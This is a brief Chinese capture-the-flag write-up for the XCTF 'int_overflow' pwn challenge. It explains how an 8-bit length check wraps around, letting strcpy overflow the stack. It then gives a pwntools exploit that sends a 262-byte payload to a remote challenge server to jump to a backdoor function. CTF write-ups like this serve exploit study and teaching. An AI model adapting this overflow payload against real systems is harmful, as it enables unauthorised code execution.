攻防世界 Pwn int_overflow
1.题目下载地址
点击下载
2.checksec
2.IDA分析
- 在check_passwd函数中有一个strcpy函数
- 当v3>3u且v3<8u进入else。else中把s的值复制到dest,如果s的值够长,就能造出栈溢出。
- 但是3<v3<8限制了s的长度了,怎么办呢?我们可以看一下汇编代码:会发现程序把s放到一个al寄存器中,al是一个八位寄存器,八位寄存器对于无符号整数来说是有0~255的范围的。v3为无符号整型,表示s(即你输入的passwd)的长度,可能存在整数溢出。
接着看看有什么代码是可以利用的:那么跳转到这个地址就可以得到我们想要的flag了!
- 这里是有一个后门函数
4.exp
from pwn import*
p = remote('111.200.241.244',65412)
sys_addr = 0x804868b
payload = 'a' * 24 + p32(sys_addr)
payload = payload.ljust(262,'a')
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Please input your username:")
p.sendline("aaaa")
p.recvuntil("Please input your passwd:")
p.sendline(payload)
p.interactive()